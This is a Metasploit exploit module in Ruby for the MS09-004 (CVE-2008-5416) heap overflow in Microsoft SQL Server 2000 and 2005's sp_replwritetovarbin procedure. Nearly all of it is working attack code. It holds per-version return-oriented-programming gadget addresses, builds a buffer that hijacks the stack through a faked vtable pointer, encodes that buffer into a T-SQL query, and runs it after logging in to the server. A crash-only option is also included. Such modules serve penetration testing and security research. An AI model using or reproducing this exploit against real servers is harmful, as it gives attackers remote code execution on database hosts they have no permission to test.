##
# $Id: ms09_004_sp_replwritetovarbin.rb 11631 2011-01-24 19:37:58Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
'Description' => %q{
A heap-based buffer overflow can occur when calling the undocumented
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
Microsoft patched this vulnerability in SP3 for 2005 without any public
mention.
An authenticated database session is required to access the vulnerable code.
That said, it is possible to access the vulnerable code via an SQL injection
vulnerability.
This exploit smashes several pointers, as shown below.
1. pointer to a 32-bit value that is set to 0
2. pointer to a 32-bit value that is set to a length influcenced by the buffer
length.
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
this value is referenced with a displacement of 0x38. For MSSQL 2005, the
displacement is 0x10. The address of our buffer is conveniently stored in
ecx when this instruction is executed.
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
a displacement of 4. This pointer is not used by this exploit.
This particular exploit replaces the previous dual-method exploit. It uses
a technique where the value contained in ecx becomes the stack. From there,
return oriented programming is used to normalize the execution state and
finally execute the payload via a "jmp esp". All addresses used were found
within the sqlservr.exe memory space, yielding very reliable code execution
using only a single query.
NOTE: The MSSQL server service does not automatically restart by default. That
said, some exceptions are caught and will not result in terminating the process.
If the exploit crashes the service prior to hijacking the stack, it won't die.
Otherwise, it's a goner.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11631 $',
'References' =>
[
[ 'OSVDB', '50589' ],
[ 'CVE', '2008-5416' ],
[ 'BID', '32710' ],
[ 'MSB', 'MS09-004' ],
[ 'URL', 'http://www.milw0rm.com/exploits/7501' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "", # bad bytes get encoded!
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
'DisableNops' => true
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
# auto targeting!
[ 'Automatic', { } ],
#
# Individual targets
#
[
# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
# Aug 6 2000 00:57:48
'MSSQL 2000 / MSDE SP0 (8.00.194)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]
'Disp' => 0x08, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)
'Ret' => 0x0041c9a2 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)
# May 23 2001 00:02:52
'MSSQL 2000 / MSDE SP1 (8.00.384)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]
'Disp' => 0x34, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
'Popped' => 0x8, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)
'Ret' => 0x004caa15 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
# Nov 19 2001 13:23:50
'MSSQL 2000 / MSDE SP2 (8.00.534)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]
'Disp' => 0x34, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
'Popped' => 0x8, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)
'Ret' => 0x004ca984 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
# Dec 17 2002 14:22:05
'MSSQL 2000 / MSDE SP3 (8.00.760)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]
'Disp' => 0x34, # displacement on call [ecx+disp] used
'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
'Popped' => 0x8, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)
'Ret' => 0x0043fa97 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
# May 3 2005 23:18:38
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]
'Disp' => 0x14, # displacement on call [ecx+disp] used
'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)
'Ret' => 0x0047c89d # jmp esp
},
],
[
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
# Oct 14 2005 00:33:37
'MSSQL 2005 SP0 (9.00.1399.06)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]
'Disp' => 0x50, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)
'Ret' => 0x0112c2c7 # jmp esp
},
],
[
# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
# Apr 14 2006 01:12:25
'MSSQL 2005 SP1 (9.00.2047.00)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]
'Disp' => 0x52, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)
'Ret' => 0x011b204c # jmp esp
},
],
[
# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
# Feb 9 2007 22:47:07
'MSSQL 2005 SP2 (9.00.3042.00)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]
'Disp' => 0x52, # displacement on call [ecx+disp] used
'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)
'Ret' => 0x010a5379 # jmp esp
},
],
[ 'CRASHER', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2008'
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
])
end
def check
# the ping to port 1434 method has two drawbacks...
# #1, it doesn't work on mssql 2005 or newer (localhost only listening)
# #2, it doesn't give an accurate version number (sp/os)
# since we need to have credentials for this vuln, we just login and run a query
# to get the version information
if not (version = mssql_query_version())
return Exploit::CheckCode::Safe
end
print_status("@@version returned:\n\t" + version)
# Any others?
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
return Exploit::CheckCode::Safe
end
def exploit
mytarget = nil
if target.name =~ /Automatic/
print_status("Attempting automatic target detection...")
version = mssql_query_version
raise RuntimeError, "Unable to get version!" if not version
if (version =~ /8\.00\.194/)
mytarget = targets[1]
elsif (version =~ /8\.00\.384/)
mytarget = targets[2]
elsif (version =~ /8\.00\.534/)
mytarget = targets[3]
elsif (version =~ /8\.00\.760/)
mytarget = targets[4]
elsif (version =~ /8\.00\.2039/)
mytarget = targets[5]
elsif (version =~ /9\.00\.1399\.06/)
mytarget = targets[6]
elsif (version =~ /9\.00\.2047\.00/)
mytarget = targets[7]
elsif (version =~ /9\.00\.3042\.00/)
mytarget = targets[8]
end
if mytarget.nil?
raise RuntimeError, "Unable to automatically detect the target"
else
print_status("Automatically detected target \"#{mytarget.name}\"")
end
else
mytarget = target
end
sqlquery = %Q|declare @i int,@z nvarchar(4000)
set @z='declare @e int,@b varbinary,@l int;'
set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
exec sp_executesql @z|
# just crash it with a pattern buffer if the CRASHER target is selected..
if mytarget.name == 'CRASHER'
sploit = Rex::Text.pattern_create(2048)
print_status("Attempting to corrupt memory to cause an exception!")
num = 32
else
# trigger the memory corruption
num = mytarget['Num']
vt_off = mytarget['VtOff']
vt_disp = mytarget['VtDisp']
vtable = mytarget['Vtable']
ecx_disp = mytarget['Disp']
esp_off = mytarget['Offset']
hijack_esp = mytarget['ecx2esp']
first_esp = mytarget['Popped']
fix_esp = mytarget['FixESP']
writable = mytarget['Writable']
corruptable_bytes = 0x44
# make sploit buff
sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
#sploit = Rex::Text.pattern_create(sz)
sploit = rand_text_alphanumeric(sz)
# remove displacement! (using call [ecx+displacement])
vtable_off = (num + vt_off)
sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
# stack -> heap
hijack_off = vtable_off + ecx_disp
sploit[hijack_off,4] = [hijack_esp].pack('V')
# becomes eax on mssql 2ksp4 (prevent crash)
sploit[(vtable_off-4),4] = [writable].pack('V')
# becomes eip after esp hijack
fixesp_off = vtable_off + first_esp
sploit[fixesp_off,4] = [fix_esp].pack('V')
# rest of magic stack (disable DEP?)
stack_off = vtable_off + esp_off
stack = []
stack << mytarget['Ret']
stack = stack.pack('V*')
# jump over the stuff that gets corrupted
stack << "\xeb" + [corruptable_bytes].pack('C')
stack << rand_text_alphanumeric(corruptable_bytes)
stack << payload.encoded
sploit[stack_off,stack.length] = stack
# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
sploit[hijack_off,4] = [hijack_esp].pack('V')
print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
end
# encode chars that get modified
enc = mssql_encode_string(sploit)
# put the number in (start offset)
runme = sqlquery.gsub(/%NUM%/, num.to_s)
runme.gsub!(/%STUFF%/, enc)
# go!
if (not mssql_login_datastore)
raise RuntimeError, "Unable to log in!"
end
begin
mssql_query(runme, datastore['VERBOSE'])
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
handler
disconnect
end
def mssql_str_to_chars(str)
ret = ""
str.unpack('C*').each do |ch|
ret += "+" if ret.length > 0
ret += "char("
ret << ch.to_s
ret += ")"
end
return ret
end
def mssql_encode_string(str)
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
enc = ""
in_str = true
str.unpack('C*').each do |ch|
# double-double single quotes
if ch == 0x27
if not in_str
enc << "+'"
in_str = true
end
enc << ch.chr * 4
next
end
# double backslashes
if ch == 0x5c
if not in_str
enc << "+'"
in_str = true
end
enc << ch.chr * 2
next
end
# convert any bad stuff to char(0xXX)
if ((idx = badchars.index(ch.chr)))
enc << "'" if in_str
enc << "+char(0x%x)" % ch
in_str = false
else
enc << "+'" if not in_str
enc << ch.chr
in_str = true
end
end
enc << "+'" if not in_str
return enc
end
def mssql_query_version
begin
logged_in = mssql_login_datastore
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
return nil
end
if (not logged_in)
raise RuntimeError, "Invalid SQL Server credentials"
end
res = mssql_query("select @@version", datastore['VERBOSE'])
disconnect
return nil if not res
if res[:errors] and not res[:errors].empty?
errstr = ""
res[:errors].each do |err|
errstr << err
end
raise RuntimeError, errstr
end
if not res[:rows] or res[:rows].empty?
return nil
end
return res[:rows][0][0]
end
end
